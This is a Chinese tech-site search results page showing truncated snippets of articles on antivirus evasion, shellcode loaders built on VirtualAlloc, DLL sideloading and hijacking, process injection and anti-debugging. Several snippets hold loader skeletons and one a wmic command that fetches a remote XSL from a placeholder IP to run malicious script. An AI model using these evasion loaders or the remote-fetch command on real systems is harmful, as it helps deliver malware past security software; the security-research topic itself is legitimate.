首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

免杀初探:python加载shellcode免杀与国内主流杀软大战六个回合

注:以下实验截图均为本人发稿时重新测试所截 0X00 基础概念 1. python ctypes模块介绍 ctypes是 Python的外部函数库。...\n"); } 有点c/c++基础的师傅们,就不难理解这段代码。对于小白,这里还是解释一下: 是预处理指令。...C函数,c和c++ 编译方式又不太一样,如果在编译时把c的代码用c++方式编译,会产生错误。...故在c++引入c的库时要加extern “C” __declspec(dllexport):用在函数声明前,此前缀是用来实现生成dll文件时可以被导出至dll,即提供调用接口 void TestCtypes...函数就知道了 RtlMoveMemory与2中的memcpy函数一样,这里就不过多解释,想深入了解的可以搜下 create_string_buffer() 将shellcode写入内存中,python的

3.6K10

安全视角下的木马免杀技术讨论

Virtualalloc 函数的作用是申请内存,而这里我们之所以用到 virtualalloc 的一个原因是,我们需要设置内存的可执行属性,这一点很重要,如果我们 shellcode 拷贝到的内存块没有执行权限的话...具体的做法是, load kernel32.dll 库,从 kernel32 库中取得 virtualalloc 函数在内存中的地址,然后执行。...Address = GetProcAddress(hModule,"VirtualAlloc");//拿到virtualalloc的地址 _asm { push 40h //push...其实获取kernel32.dll库地址并不一定要通过loadLibrary的,也可以从PEB中进行获取的,可以通过以下代码进行获取: _asm { mov esi, fs:[0x30]//得到PEB地址...0x5 后记 当然,随着病毒检测技术的不断改进,现在的病毒检测技术已经引入了一些机器学习的技术了,比如使用二类支持向量机对正常软件和恶意软件进行分类,以及使用多类支持向量机对蠕虫,病毒,木马和正常软件进行分类等等

1.3K10
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    windows虚拟内存机制

    (如kernel32.dll、ntdll.dll等) 对系统DLL的默认基地址进行调整,防止加载时冲突,触发ReBasing(重定基地址) 注:基地址必须对齐到分配粒度(64KB) Win7下,exe在...生成exe和dll模块时,链接时使用了参数/DYNAMICBASE(启用动态基地址) 注:地址空间布局随机化, Address space layout randomization (ASLR):防范恶意程序对已知地址进行攻击...// 带MEM_COMMIT参数的VirtualAlloc函数 起始地址和大小都必须是页面大小的整数倍(4KB)。...注:系统在映射exe或dll文件时会把数据页指定为PAGE_WRITECOPY属性,代码页指定为PAGE_EXECUTE_WRITECOPY属性 具体过程: ① 当进程对内存页执行修改操作时,系统会找一个闲置的物理内存页...地址空间布局随机化(Address space layout randomization,ASLR) 微软在Vista系统中引入了名为ASLR的技术,模块每次会被加载到随机位置(伪随机),防范恶意程序对已知地址进行攻击

    1.2K30

    shellcode免杀「建议收藏」

    - 差点跑题把代码贴过来了,留作下次分享(下次一定) 1、回归正题我们先来看一个标准的shellcode加载器源代码: 先定义shellcode变量,调用VirtualAlloc...windows.h> using namespace std; int main() { char shellcode[] = "把shellcode粘贴到这里"; LPVOID lpAlloc = VirtualAlloc...NULL; unsigned char shellcode[] = "把shellcode粘贴到这里"; DWORD WINAPI ceshi(LPVOID pParameter) { __asm...注:会主动备份被劫持的文件,原文件命名为.exe~ 0x03 不落地执行shellcode 此处以 利用wmic远程文件 为例: 1、msf生成的hta链接(最好也做下免杀,...,将自动运行xsl中恶意JScript代码 wmic os get /format:"http://xxx.xx.xx.xx:8080/hta.xsl" 0x04 远程线程注入 注:

    1.1K20

    白加黑保姆教程通杀主流杀软

    常见的函数调用约定有:cdecl stdcall fastcall thiscall 其中 cdecl 是 C\C++ 的默认调用约定,stdcall 是 Windows API 的默认调用约定。...用AheadLib来做dll的相关函数导出,但是之前的这个软件导出x64位的dll就会直接闪退,没办法,已经没有更新了 在GitHub上找到了一个可以用的,但是导出之后需要把asm相关函数编译成obj,...: { char* v7A = (char*)VirtualAlloc(0, payload_len, 0x3000u, 0x40u); memcpy((void*)v7A, payload...这里就需要来编译asm文件了,参考asm注释里面给的命令,需要注意ml64是vsstudio里面的文件,因为这里没有加入到环境变量中,所以写全路径,编译得到了ffmpeg_jump.obj "E:\C...Visual Studio\VC\Tools\MSVC\14.16.27023\bin\HostX64\x64\ml64" /Fo ffmpeg_jump.obj /c /Cp ffmpeg_jump.asm

    64110

    免杀杂谈

    常见的: c/c++:这种语言做程序,速度快,文件小,可实现的功能很多。也是很普遍传统的一种语言。...比如:VirtualAlloc,更底层是VirtualAllocEx。 VirtualAlloc直接加载 一个最简单的直接加载payload,开辟内存空间运行,把载荷放进去。...执行:当目标进程执行到特定的同步点时,即进入了ALERTABLE状态(如进入等待状态、等待用户输入等),执行队列中的用户模式线程得到执行并执行恶意代码。...需要注意的是,APC注入是一种高级的攻击技术,需要深入了解操作系统和漏洞利用原理才能正确实施。在合法场景下使用或研究APC注入,请确保符合法律规定,并遵循合规的安全测试流程。...")), "VirtualAlloc"); 最后使用我们自定义的函数 获取进程令牌权限 病毒木马想要实现一些关键的系统操作时。

    39010

    科普 | DLL劫持原理与实践

    那么最终Windows2003以上以及win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间...IDE:vs2017 语言:C\C++ DLL写法不止下面我用的这个写法,还有其它嵌套写法(别问我怎么知道的,为了这篇文章,我踩了N个坑 = =!)...2、然后 文件→新建→项目→[已安装 > Visual C++ > Windows桌面]→动态链接库(DLL),生成一个cpp文件。 这里我命名为 shiyan_dll ?...0x04 加载使用我们的DLL文件 IDE:vs2017 语言:C\C++ 加载DLL写法不止下面我用的这个写法,还有其它嵌套写法,但是其它写法,能不能被劫持就又是另一回事了。...注:使用该工具,测试软件路径不能有中文。 0x08 本地测试DLL劫持 1、这里,我使用 DLLHi_jacker.py 这款工具。

    5.1K41

    32位汇编第七讲,混合编程,内联汇编

    将此obj文件复制到我们的C/c++的目录下 2.修改C/c++程序,调用我们的增加函数 ?...使用RadAsm编译连接1.asm程序 ?...三丶汇编DLL的使用 像我们上面的生成的lib只能给C/C++使用,但是别的程序不见得能使用 所以我们写一个汇编的DLL,给C/C++程序使用 至于C/C++调用dll,那么有两种方式 一种是使用静态方式...,我还得生成DLL 或者生成lib 那么我们突发奇想,可不可以在C/C++中写汇编代码 比如我们写个int 3的中断指令 C/C++代码 #include "stdafx.h" typedef int...主要看下面,恢复完寄存器信息之后就开始释放局部变量空间,然后在Debug版本下会检测栈 是否平衡,如果不平衡,就弹个错误框,最后ret的时候,因为压入了两个参数还没有平栈 所以上面我们需要自己平栈,一个参数

    1.6K100

    CC++ 程序反调试方法总结

    C/C++ 要实现程序反调试有多种方法,BeingDebugged,NtGlobalFlag,ProcessHeap,CheckRemoteDebuggerPresent,STARTUPINFO,IsDebuggerPresent...lpsetun = SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)ExceptionFilter); LPVOID pBuff = VirtualAlloc...\r\n"); /* Reason 什么事件触发的 DLL_PROCESS_ATTACH 1 DLL_THREAD_ATTACH 2 DLL_THREAD_DETACH 3...MapFileAndCheckSum反破解: 通过使用系统提供的API实现反破解,该函数主要通过检测,PE可选头IMAGE_OPTIONAL_HEADER中的Checksum字段来实现的,一般的EXE默认为0而DLL...中才会启用,当然你可以自己开启,让其支持这种检测. // C/C++ -> 常规 -> 调试信息格式 --> 程序数据库 // 连接器 -> 常规 -> 启用增量链接 -> 否 // 连接器 -> 高级

    51710
    领券